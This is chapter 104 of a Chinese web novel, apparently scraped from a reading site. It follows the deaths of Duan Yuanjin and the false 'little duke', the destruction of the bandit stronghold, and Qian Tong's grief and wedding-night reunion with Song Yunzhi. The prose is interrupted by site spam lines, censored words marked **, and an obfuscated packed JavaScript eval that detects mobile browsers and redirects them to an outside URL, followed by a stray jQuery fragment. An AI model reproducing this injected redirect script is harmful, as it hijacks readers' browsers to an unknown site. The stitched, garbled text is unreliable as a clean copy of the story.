第104章

作品:《非富即贵

    段老爷子是被宋世子的人叫来的知州府。


    说是段元槿**,通知他来收尸,原本他以为是知州府的人杀了他,今日下山便是做好了与朝廷的人同归于尽的打算。


    那日在段元槿走后,段老爷子对着空荡荡的屋子便痛哭了一场。


    他把自己的亲生儿子送去了高门里享受着荣华,却从未享过他一日的孝敬。


    那个陪着他在山寨里真真切切生活了十几年的人,却是被他剥夺了一切,困在山里的倒霉蛋。


    父子俩昔日的画面,一幕幕地浮上来。


    想起他被自己的父母遗留下来后,跪在他面前,叫他“父亲”时,他咬着牙落下的那几滴泪。


    他七岁那年,用他单薄的脊背把自己从尸山里背出来,压弯了腰,始终没有放弃。


    他断了腿后,所有的起居都是他在照顾,为他擦洗身子,为他置办衣裳,一有空便来他屋子里,对他讲一些山寨外发生的事。


    他说:“等孩儿助钱娘子收回了海峡线,孩儿也能讨到一份功劳,届时在扬州谋一个职位,咱们别当土匪了,走下山去,好好过日子,我再讨个媳妇儿,生几个小子丫头,让您安享晚年...”


    多好的画面啊,可他最后还是舍弃了他,选择了血脉。


    在他走后,段老爷子实则便有些后悔了。


    而段元槿身死的消息把他心头的那份悔意推到了极致。


    看到小公爷从里面跑出去,抱住他的腿时,段老爷子便想问,段元槿在哪儿,他为何没有护住他?


    没来得及问呢,便被钱娘子的一番话怔住。


    什么意思?


    他的儿子**?


    他不如国公爷性子稳沉,当了多年的土匪,心性狡诈,喜欢算计别人,也对别人的举动容易生出怀疑。


    在听完钱铜的那两个真相之后,他几乎没有任何犹豫,便相信了第二个。


    他早就怀疑过,国公夫人既然已经知道了真相,为何就不换回来?当年他看到国公夫人被吓得花容失色,也知道国公夫人暗中来山寨看过几回。


    他故意让她看到了段元槿残暴的一幕。


    他一直沾沾自喜,认为国公夫人此人太过于歹毒,就因为怕自己儿子手上沾了鲜血,影响了她在裴家的地位,便将错就错,舍弃了自己的儿子。


    若是第二种可能,那愚蠢的便不是国公夫人了。


    是他了。


    在听到钱铜说出段元槿是‘小公爷’杀死的那一瞬,段老爷子的眼皮子便是一颤,转过头,直愣愣地盯着小公爷。


    人在相信了一件事情之后,脑子便会主动去找各个证据去证明他所相信的一切都是真的。


    细细一看,这位‘小公爷’与小


    恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的


    时候的模样完全不同,一点都不像自己,反而与国公夫人的神韵有几分相似。


    ‘小公爷’畏惧国公爷,此时正躲在了段老爷子身后,求他的庇佑,听完钱铜的话后,也有一瞬的怔愣。


    若非他的记忆还在,还真会去怀疑第二种可能。


    意识到她的目的后,‘小公爷’背心一凉,慌忙转过头,便见到了段老爷子怀疑和审视的目光,暗骂了一句愚蠢,急着辩解:“父亲,你别听她胡说,她想要我的命,想让您亲手杀了自己的儿子,她是在为段元槿报仇啊,您看不出来吗...


    他已经回不去国公府了,山寨是他唯一的活路。


    死老头子,你清醒一点啊。


    可段老爷子见惯了段元槿的血性之后,越看他越不像自己这个身为土匪的种。


    恰好此时,暗卫抬了段元槿的尸首走了出来。


    钱铜先与国公爷和段老爷子打好招呼,“生前你们个个都不要他,想要他**,如今如你们所愿**,便别来和我抢什么尸首,他见到你们之间的任何人都会恶心,别脏了他的魂魄...


    国公爷正打算去抢人,闻言后迟迟挪不动脚步。


    想起在医馆的那一日,他亲自带人要去杀他,当时他出来看自己的那一眼,是何等的冷漠,彼时心底一定是恨死自己了...


    他这个亲生父亲,丢了他一次不说,还把他逼死。


    他有何资格骂别人,愤怒退去后,无尽的悲痛便冲上了脑子,气血倒流,国公爷手里的长剑没有拿稳,落在了地上。


    段老爷子的目光则在段元槿的尸首上。


    走的时候他一身白,如今盖在身上的还是一块白布,彷佛早就注定了要去赴死,唯有脚上的那双黑靴很显眼,是段老爷子亲手替他做的。


    段元槿一直舍不得穿。


    今日却穿上了。


    段老爷子再也控制不住,身子猛往前冲去,从轮椅上跌了下来,趴在地上,痛呼道:“贵哥儿...


    ‘小公爷’便是在这个时候趁众人不备,转过身,打算悄无声息地逃出去,可刚走了两步,后背便被一枚暗器穿透了胸口。


    ‘小公爷’没回过神,双目圆睁,眸子里全是疑惑和恐惧。没明白到底是谁动的手,人便“扑通一声跪了下来,侧脸再砸在了地上。


    国公夫人看到‘小公爷’被段老爷子杀死的一瞬,便心如死灰,她花了大半辈子培养出来的国公府世子。


    他极为争气,考上了进士。


    她也凭着他,在一众京都的妇人里永远是那个被人羡慕的贵妇。


    如今什么都没了。


    段老爷子杀了‘小公爷’后,便彻底疯了,指使底下的人,盯着国公夫


    如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦


    人,“把那毒妇杀了。他要为他贵哥儿报仇。


    双方人马杀起来时,钱铜便带着宋允昭,还有段元槿的遗体回到了钱家。


    ——


    当日下午便传来了消息。


    国公爷杀了段老爷子后带着知州府的兵马把山寨彻底剿了个干净,国公夫人被段老爷子的暗器划破了左脸,人当场便晕过去了。


    国公爷当着所有人的面,写下了和离书,待国公夫人一醒,便会被立马送回京都。


    至于‘小公爷’的身份,没有人能说得清。


    冯少卿私底下问王兆,“小公爷,到底是不是...


    王兆摇头,“大人问我,我也想问大人呢...


    冯少卿也没功夫去猜这些了,手头上一堆的案子要处理,既然人是小公爷假扮,钱娘子便彻底摘清了嫌疑,想起前夜他与国公爷带着兵马堵在钱家门口,逼得世子挨了六十鞭子,沈公子挨了四十鞭,后脑勺一阵阵发凉,忙催促王兆,“赶紧把案子处理完,还钱家一个公道,我再去与侯爷赔罪...


    发生了那么大一件事,他们不议论,底下的人会议论。


    昨夜凡是见证了这件事的侍卫,私底下个个都在热议,小公爷到底是谁的种。


    不过半日的功夫,流言便从知州府传了回去,传入一位妇人的耳朵后,那妇人一副看**的样,道:“这还用问?哪有当母亲的会为了一个假儿子,把亲儿子留在土匪窝?临了,还让亲儿子为假儿子抵命?她又不是傻子,这不明摆着是私生子嘛,国公爷这顶绿帽子也太大了...


    可不是...


    讨论了一番,众人一致认为小公爷乃国公夫人背着国公爷在外与别人生下的野种。


    连当事人国公爷都选择相信钱铜所说的第二种可能。


    流言如何钱铜不管,要的是逼着段元槿的人,不得好死,和想要栽赃她的土匪之子身败名裂。


    目的达成了便够了,至于那真相,留给世人去猜。


    真真假假谁分得清?


    当日回去后,钱铜便把段元槿的尸首交给了二娘子,另备了一副空棺,里面放着衣冠,与扶茵的棺木停放在了一起。


    她手中弯刀的手柄被她连续摸了两日,刀柄已经发烫,棺材内的扶茵,却再也不会有温度。


    钱铜跪在她的棺前,为她烧了火纸和元宝,轻声道;“扶茵,我与宋世子成亲了,婚服好看吗?


    钱铜埋头,火焰熏着她的眼睛,熏出了眼泪,哑声道:“我知道,你会说娘子穿什么都好看。


    “那日杀你的侍卫,我已经杀了,你讨厌的小公爷,也**...


    她说完后,埋头良久,最后从喉咙里发出一声沉痛的,


    你的朋友正在书荒,快去帮帮他吧


    “对不起,扶茵...”


    至亲离去的痛苦,这是她第二次经历。


    第一次是大姐姐。


    活生生的亲人在她眼前逝去,那样的悲痛,也让她明白了当初老夫人问她的那句,“是有钱好,还是有权好。”


    两者都不是,人最重要。


    她还得继续往前。


    跨过那片海峡线,哪怕是尸骨也好,该当归位。


    ——


    钱铜回到婚房,已经是傍晚了。


    新婚夜把自己的夫君丢在婚房内,自己跑出去的新娘子,大抵这天下只有她一人了。


    不知道世子的伤好些了没,一进门钱铜便问了候在门口的钱夫人,钱夫人正题没答,一路叨叨,说了太多,“咱们这回能挺过来,全靠了世子,你说,钱家上辈子是不是拯救了人家,这辈子轮到宋家来还债?”


    “昨儿夜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16871635|174002||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    里你一走,侯爷竟直接撤走了外面的官兵,把门打开了,说钱家无罪,我这辈子只见过别人靠关系办事,头一回走后门,心里都不踏实了...”


    钱铜:......


    “你昨夜见过侯爷没,你给人家磕头敬茶了吗...我原本以为堂堂侯爷怎么着也要比蓝明权的架子高个好几倍吧,可你猜怎么着,今日一早起来,宋侯爷竟然邀请你父亲与他下棋....”


    钱夫人恢复成了话痨,世子应该没事了。


    “母亲别跟着了,我要去见世子。”


    钱夫人一愣,“是是是...你赶紧回去,你说哪有新妇新婚夜跑出去的...”见钱铜进了院子,钱夫人突然想起来,这场婚宴办得太过于刻骨铭心,所有人都沉浸在悲伤和恐惧里,竟忘了把最要的东西给她,怕她今夜什么都不知道,只能先隐晦地对她背影提醒道:“什么世子,是你夫君,你,你好好赔罪...”


    钱夫人的声音终于消失了。


    两人新婚的院子便是她之前所住的地方,昨夜新婚刚过,布置的红绸和喜字还未撤走,得贴上三日。


    新婚日她没能瞧见自己的婚宴是什么样,今日路过时便看了个仔细,喜红灯笼,同心结红绸,囍字窗花,一样都没含糊。


    她是钱家第一个在娘家出嫁的姑娘,不像是嫁人,像是娶媳妇儿。


    实则是上门女婿...


    听说宋允执今日一日都在院子里等着她,钱铜颇为感动,轻手轻脚地跨入新房,见宋允执穿着一身中衣,正坐在蒲团上井序有条地拆着礼包,钱铜便趁他不备,悄悄走去他身后,避开他后背的伤,胳膊揽住了他的肩头,凑去他耳侧柔声唤:“世子...”


    宋允执早就察觉到了动静,从灯火下的影子辨别出了是她,没动,配合她,闻言微微侧头,问道:


    你的朋友正在书荒,快去帮帮他吧


    “忙完了?”


    钱铜点头,“嗯。”


    “小公爷**,被段老爷子杀的。”她忙乎了一夜,此时方才释放出她心头的快意,她把下颚搁在他的肩头,轻声道:“世子没看到国公爷的脸,知道自己给别人养了十几年的儿子,脸都快绿了,最后又得知自己的亲生儿子被假儿子杀**后,脸又白了...”


    宋允执感受到了她语气里的畅快,被感染,勾了勾唇。


    “我看他恨不得杀了国公夫人,应该是相信国公夫人把他绿了,那样一个骄傲的人,估计得郁结好一阵,再也不会随便乱管闲事...但他活该!”钱铜语气轻松,似是被欺负的孩童大仇得报,喜怒没有半点隐藏,都流露了出来,“他那般得理不饶人,若非他相逼,世子也不会挨那么多鞭子...”


    钱铜收回了下颚,起身坐好,手指自他颈侧两边穿过伸入他的衣襟内,一边褪他的中衣,一边轻声道:“你怎么就那么死脑筋,不知道少说点数,十鞭,二十鞭也好啊,你非得来个一百鞭,若非沈澈有点良心替你受了四十鞭,你得**...”


    被她手指撩过的地方,起了阵阵战栗,宋允执喉咙轻滚,低声道:“无妨。”


    什么叫无妨,钱铜道:“段元槿被你打了五十鞭,差点没打死,伤成了什么样,我能不知道?”


    她到底会不会说话,宋允执不觉屏住呼吸,刚侧过目,便察觉到后背脊梁,传来了丝丝凉气。


    “我替你吹吹,吹吹就不疼了...”


    宋允执感受着她的气息慢慢地浸入皮肤,坐在那的身子越来越僵硬。


    半晌后,钱铜绕到了他身前,席地坐在他对面,正视着着他的眼睛。


    她还没好好感谢他,望着他那双被灯火照亮的深色眼眸,想起他为自己做的一切,钱铜心头便忍不住泛酸,抿了抿唇道:“好世子。”


    宋允执大抵知道她要说什么,打断道:“不累?今夜先歇息,有话我们明日再说?”


    钱铜点头又摇头,摇着摇着便摇出了眼泪,抬起头带着哭腔道:“我以后再也不与你吵架了,再吵架,我就是猪...”


    宋允执低声一笑,抬手替她擦了泪痕,“先去洗漱,再哭下去,不用吵架,明日便真成了猪头。”


    钱铜愣了愣。


    她只惦记着复仇,要那些该死的人得到报应,忘记了自己也是个新娘子,在外面熬了一天一夜,此时的她,一定很难看。


    “世子别看。”钱铜突然捂住脸,起身走去了净房,进去时还与宋允执道:“世子先等等我,我很快就好,我还有好多话要与你说...”


    然而一天一夜没有歇息,人泡进浴桶内,身心一放松,钱铜便睡了过去。


    从扶茵死后,她的精神一直绷着。


    太累了。